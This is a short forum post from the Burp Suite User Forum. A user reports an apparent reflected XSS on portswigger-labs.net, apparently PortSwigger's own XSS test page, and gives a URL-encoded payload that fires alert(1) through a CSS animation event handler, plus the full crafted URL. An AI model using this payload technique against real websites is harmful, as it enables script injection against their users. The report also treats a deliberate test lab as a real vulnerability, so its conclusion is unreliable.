The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Reflected XSs

tanisha | Last updated: Oct 01, 2021 01:19PM UTC

The script is activated through a link, which sends a request to a website with a vulnerability that enables execution of malicious scripts. POC : Step 1: Open the website : https://portswigger-labs.net/ and insert payload as given Step 2: Pay load use : %3Cstyle%3E%40keyframes%20slidein%20{}%3C%2Fstyle%3E%3Cxss%20style%3D%22animation-duration%3A1s%3Banimation-name%3Aslidein%3Banimation-iteration-count%3A2%22%20onanimationiteration%3D%22alert(1)%22%3E%3C%2Fxss%3E&context=html Step 3: https://portswigger-labs.net/xss/xss.php?x=%3Cstyle%3E%40keyframes%20slidein%20{}%3C%2Fstyle%3E%3Cxss%20style%3D%22animation-duration%3A1s%3Banimation-name%3Aslidein%3Banimation-iteration-count%3A2%22%20onanimationiteration%3D%22alert(1)%22%3E%3C%2Fxss%3E&context=html Step 4: I got pop up and error on page :Supported contexts: html,before_body,js_string_single,js_string_double website is vulnerable Notes: refer screen shot and video for further clarification Impact we can execute JS code on the websites' users.

Uthman, PortSwigger Agent | Last updated: Oct 04, 2021 12:38PM UTC